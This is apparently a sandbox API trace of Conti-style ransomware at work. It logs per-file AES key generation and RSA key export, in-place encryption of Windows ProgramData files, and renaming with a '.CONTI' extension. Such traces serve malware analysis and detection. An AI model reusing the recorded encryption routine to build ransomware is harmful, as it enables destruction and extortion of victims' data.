	[0104.234] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.234] GetLastError () returned 0x5
	[0104.234] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0104.234] GetProcessHeap () returned 0x1720000
	[0104.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d578 | out: hHeap=0x1720000) returned 1
	[0104.234] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0105.006] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c8570) returned 1
	[0105.006] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x5affca4 | out: pbData=0x17d2694*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0105.007] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_realtime.rbs")) returned 0x20
	[0105.007] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_realtime.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.007] GetLastError () returned 0x5
	[0105.007] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0105.007] GetProcessHeap () returned 0x1720000
	[0105.007] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0105.007] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0105.423] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c8430) returned 1
	[0105.423] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x5affca4 | out: pbData=0x17d3d64*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0105.424] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml")) returned 0x20
	[0105.424] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.424] GetLastError () returned 0x5
	[0105.424] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0105.424] GetProcessHeap () returned 0x1720000
	[0105.424] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cef8 | out: hHeap=0x1720000) returned 1
	[0105.424] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.081] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8230) returned 1
	[0107.081] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x5affca4 | out: pbData=0x17d5434*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.106] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml")) returned 0x20
	[0107.106] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.113] GetLastError () returned 0x0
	[0107.113] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=427) returned 1
	[0107.113] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ab
	[0107.113] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.113] SetEndOfFile (hFile=0x398) returned 1
	[0107.114] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.114] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.114] WriteFile (in: hFile=0x398, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.115] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.115] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x1ab, lpOverlapped=0x0) returned 1
	[0107.116] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1ab, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1b0) returned 1
	[0107.116] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.116] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x1b0, lpOverlapped=0x0) returned 1
	[0107.116] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.116] WriteFile (in: hFile=0x398, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.116] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.116] CloseHandle (hObject=0x398) returned 1
	[0107.116] GetProcessHeap () returned 0x1720000
	[0107.116] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.116] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml"
	[0107.116] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.CONTI"
	[0107.116] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.conti")) returned 1
	[0107.117] GetProcessHeap () returned 0x1720000
	[0107.117] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.117] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0107.117] GetProcessHeap () returned 0x1720000
	[0107.117] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc250 | out: hHeap=0x1720000) returned 1
	[0107.117] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.117] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6513520 | out: phKey=0x6513520*=0x17c85b0) returned 1
	[0107.117] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513524, pdwDataLen=0x5affca4 | out: pbData=0x6513524*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.118] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.118] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.118] GetLastError () returned 0x0
	[0107.118] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=643) returned 1
	[0107.118] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x283
	[0107.118] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.118] SetEndOfFile (hFile=0x398) returned 1
	[0107.118] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.118] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.118] WriteFile (in: hFile=0x398, lpBuffer=0x6513524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x6513524*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.121] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.121] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x283, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x283, lpOverlapped=0x0) returned 1
	[0107.122] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x283, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x290) returned 1
	[0107.122] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.122] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x290, lpOverlapped=0x0) returned 1
	[0107.122] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.122] WriteFile (in: hFile=0x398, lpBuffer=0x6513518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6513518*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.122] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.122] CloseHandle (hObject=0x398) returned 1
	[0107.122] GetProcessHeap () returned 0x1720000
	[0107.122] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.122] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml"
	[0107.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.123] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.123] GetProcessHeap () returned 0x1720000
	[0107.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.123] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.123] GetProcessHeap () returned 0x1720000
	[0107.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9cd8 | out: hHeap=0x1720000) returned 1
	[0107.123] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.123] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6512098 | out: phKey=0x6512098*=0x17c7fb0) returned 1
	[0107.123] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x651209c, pdwDataLen=0x5affca4 | out: pbData=0x651209c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.125] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.125] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.125] GetLastError () returned 0x0
	[0107.125] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=729) returned 1
	[0107.125] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0107.125] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.125] SetEndOfFile (hFile=0x398) returned 1
	[0107.126] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.126] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.126] WriteFile (in: hFile=0x398, lpBuffer=0x651209c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x651209c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.127] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.128] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d9, lpOverlapped=0x0) returned 1
	[0107.128] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d9, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0107.128] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.128] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.128] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.128] WriteFile (in: hFile=0x398, lpBuffer=0x6512090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6512090*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.128] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.128] CloseHandle (hObject=0x398) returned 1
	[0107.128] GetProcessHeap () returned 0x1720000
	[0107.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.128] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml"
	[0107.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.128] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.129] GetProcessHeap () returned 0x1720000
	[0107.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.129] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0107.129] GetProcessHeap () returned 0x1720000
	[0107.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b498 | out: hHeap=0x1720000) returned 1
	[0107.129] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.129] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6515be8 | out: phKey=0x6515be8*=0x17c80b0) returned 1
	[0107.129] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515bec, pdwDataLen=0x5affca4 | out: pbData=0x6515bec*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.130] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.130] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.130] GetLastError () returned 0x0
	[0107.130] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=714) returned 1
